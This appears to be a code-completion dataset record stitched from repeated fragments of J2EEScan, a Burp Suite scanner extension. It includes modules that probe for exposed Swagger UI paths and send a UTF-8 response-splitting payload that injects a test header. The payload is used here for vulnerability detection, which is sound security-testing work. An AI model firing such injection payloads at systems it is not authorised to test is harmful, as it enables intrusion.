import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | /**
* Attempt on the web root
*
* http://www.example.com/swagger-ui.html
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SWAGGER_PATH : SWAGGER_APIS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SWAGGER_PATH);
byte[] swaggerRootRequest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, swaggerRootRequest);
IResponseInfo swaggerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if ((matches.size() > 0) && (swaggerInfo.getStatusCode() == 200)) {
// Retrieve servlet classes | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/RESTAPISwagger.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
/**
* Attempt on the web root
*
* http://www.example.com/swagger-ui.html
*/
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SWAGGER_PATH : SWAGGER_APIS) {
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SWAGGER_PATH);
byte[] swaggerRootRequest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, swaggerRootRequest);
IResponseInfo swaggerInfo = helpers.analyzeResponse(response);
// look for matches of our active check grep string
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if ((matches.size() > 0) && (swaggerInfo.getStatusCode() == 200)) {
// Retrieve servlet classes | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/RESTAPISwagger.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | new URL(protocol, url.getHost(), url.getPort(), SWAGGER_PATH),
new CustomHttpRequestResponse(swaggerRootRequest, response, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.Low,
Confidence.Firm
));
return issues;
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception " + ex);
}
}
}
/**
* Attempt on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test it
*
* Ex: http://www.example.com/myapp/swagger-ui.html
*/ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/RESTAPISwagger.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
new URL(protocol, url.getHost(), url.getPort(), SWAGGER_PATH),
new CustomHttpRequestResponse(swaggerRootRequest, response, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.Low,
Confidence.Firm
));
return issues;
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception " + ex);
}
}
}
/**
* Attempt on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test it
*
* Ex: http://www.example.com/myapp/swagger-ui.html
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/UTF8ResponseSplitting.java | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | package burp.j2ee.issues.impl;
/**
*
* UTF8 Response Splitting
*
*
*/
public class UTF8ResponseSplitting implements IModule {
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
private static final String TITLE = "UTF8 Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a Response Splitting vulnerability.<br /><br />"
+ "The application seems to ignore CRLF newline character (0x0a), but accepts utf8 newline chars<br /><br />"
+ "<b>References</b><br />"
+ "http://www.fhhyc.com/is-it-possible-to-exploit-this-line-feed/<br />"
+ "https://www.owasp.org/index.php/HTTP_Response_Splitting<br />"
+ "https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)";
private static final String REMEDY = "Usually this threat is introduced by underline libraries and technologies.";
private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
IResponseInfo responseInfo = helpers.analyzeResponse(checkRequestResponse.getResponse());
| // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/UTF8ResponseSplitting.java
import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
package burp.j2ee.issues.impl;
/**
*
* UTF8 Response Splitting
*
*
*/
public class UTF8ResponseSplitting implements IModule {
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
private static final String TITLE = "UTF8 Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a Response Splitting vulnerability.<br /><br />"
+ "The application seems to ignore CRLF newline character (0x0a), but accepts utf8 newline chars<br /><br />"
+ "<b>References</b><br />"
+ "http://www.fhhyc.com/is-it-possible-to-exploit-this-line-feed/<br />"
+ "https://www.owasp.org/index.php/HTTP_Response_Splitting<br />"
+ "https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)";
private static final String REMEDY = "Usually this threat is introduced by underline libraries and technologies.";
private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
IResponseInfo responseInfo = helpers.analyzeResponse(checkRequestResponse.getResponse());
| if (getResponseHeaderValue(responseInfo, "X-Injection") != null) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/UTF8ResponseSplitting.java | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | package burp.j2ee.issues.impl;
/**
*
* UTF8 Response Splitting
*
*
*/
public class UTF8ResponseSplitting implements IModule {
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
private static final String TITLE = "UTF8 Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a Response Splitting vulnerability.<br /><br />"
+ "The application seems to ignore CRLF newline character (0x0a), but accepts utf8 newline chars<br /><br />"
+ "<b>References</b><br />"
+ "http://www.fhhyc.com/is-it-possible-to-exploit-this-line-feed/<br />"
+ "https://www.owasp.org/index.php/HTTP_Response_Splitting<br />"
+ "https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)";
private static final String REMEDY = "Usually this threat is introduced by underline libraries and technologies.";
private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
IResponseInfo responseInfo = helpers.analyzeResponse(checkRequestResponse.getResponse());
if (getResponseHeaderValue(responseInfo, "X-Injection") != null) { | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/UTF8ResponseSplitting.java
import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
package burp.j2ee.issues.impl;
/**
*
* UTF8 Response Splitting
*
*
*/
public class UTF8ResponseSplitting implements IModule {
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
private static final String TITLE = "UTF8 Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a Response Splitting vulnerability.<br /><br />"
+ "The application seems to ignore CRLF newline character (0x0a), but accepts utf8 newline chars<br /><br />"
+ "<b>References</b><br />"
+ "http://www.fhhyc.com/is-it-possible-to-exploit-this-line-feed/<br />"
+ "https://www.owasp.org/index.php/HTTP_Response_Splitting<br />"
+ "https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)";
private static final String REMEDY = "Usually this threat is introduced by underline libraries and technologies.";
private static final byte[] INJ = "%E5%98%8A%E5%98%8DX-Injection:%20test".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
IResponseInfo responseInfo = helpers.analyzeResponse(checkRequestResponse.getResponse());
if (getResponseHeaderValue(responseInfo, "X-Injection") != null) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/IDocInjection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.issues.IModule;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | package burp.j2ee.issues.impl;
/**
*
